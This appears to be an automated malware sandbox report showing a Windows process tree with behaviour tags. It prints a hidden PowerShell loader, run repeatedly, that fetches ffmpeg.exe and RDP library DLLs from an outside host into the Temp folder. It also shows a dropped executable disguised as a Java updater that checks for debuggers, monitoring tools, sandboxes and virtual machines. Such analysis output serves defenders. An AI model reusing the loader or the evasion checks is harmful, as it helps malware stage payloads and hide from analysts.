C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
- Badlisted process makes network request
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ffmpeg.exeC:\Users\Admin\AppData\Local\Temp\ffmpeg.exe -list_devices true -f dshow -i dummy3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue' $files = @(@{Name='ffmpeg.exe';Url='https://www.webratiko.eu.cc/resources/ffmpeg.exe';Path='C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe';Min=5000000},@{Name='MSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/MSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll';Min=700000},@{Name='AxMSTSCLib.dll';Url='https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll';Path='C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll';Min=300000}) $jobs = @() foreach ($f in $files) { if ((Test-Path $f.Path) -and ((Get-Item $f.Path).Length -ge $f.Min)) { continue } $jobs += Start-Job -ScriptBlock { param($u,$p) curl.exe -fL --connect-timeout 12 --max-time 900 -o $p $u 2>$null; if ($LASTEXITCODE -ne 0) { (New-Object Net.WebClient).DownloadFile($u,$p) } } -ArgumentList $f.Url,$f.Path } if ($jobs.Count) { $jobs | Wait-Job -Timeout 900 | Out-Null; $jobs | Remove-Job -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\ffmpeg.exe https://www.webratiko.eu.cc/resources/ffmpeg.exe5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\MSTSCLib.dll https://www.webratiko.eu.cc/resources/MSTSCLib.dll5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -fL --connect-timeout 12 --max-time 900 -o C:\Users\Admin\AppData\Local\Temp\AxMSTSCLib.dll https://www.webratiko.eu.cc/resources/AxMSTSCLib.dll5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq wireshark.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dumpcap.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq processhacker.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x64dbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x32dbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ollydbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag64.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw64.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq fiddler.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebugger.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebuggerui.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dnspy.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq pestudio.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq cheatengine.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq hxd.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq devenv.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq windbg.exe" /NH2⤵
- Discovers running processes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq immunitydebugger.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq apimonitor.exe" /NH2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autoruns.exe" /NH2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autorunsc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq filemon.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq regmon.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq resourcehacker.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmtoolsd.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwaretray.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwareuser.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmusrvc.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmsrvc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxservice.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxtray.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq xenservice.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq qemu-ga.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxie.exe" /NH2⤵
- Discovers running processes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxiedcomlaunch.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxierpcss.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxcontrol.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxserver.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_tools.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_cc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmacthlp.exe" /NH2⤵
- Discovers running processes
-
-
C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"C:\Users\Admin\AppData\Local\Common Files\Java\Java Update\juscned.exe"1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq wireshark.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dumpcap.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procmon64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq procexp64.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq processhacker.exe" /NH2⤵
- Discovers running processes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x64dbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq x32dbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ollydbg.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq ida64.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idag64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq idaw64.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq fiddler.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebugger.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq httpdebuggerui.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq dnspy.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq pestudio.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq cheatengine.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq hxd.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq devenv.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq windbg.exe" /NH2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq immunitydebugger.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq apimonitor.exe" /NH2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autoruns.exe" /NH2⤵
- Discovers running processes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq autorunsc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq filemon.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq regmon.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq resourcehacker.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmtoolsd.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwaretray.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmwareuser.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmusrvc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmsrvc.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxservice.exe" /NH2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vboxtray.exe" /NH2⤵
- Discovers running processes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq xenservice.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq qemu-ga.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxie.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxiedcomlaunch.exe" /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sandboxierpcss.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxcontrol.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq joeboxserver.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_tools.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq prl_cc.exe" /NH2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq vmacthlp.exe" /NH2⤵
- Discovers running processes
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
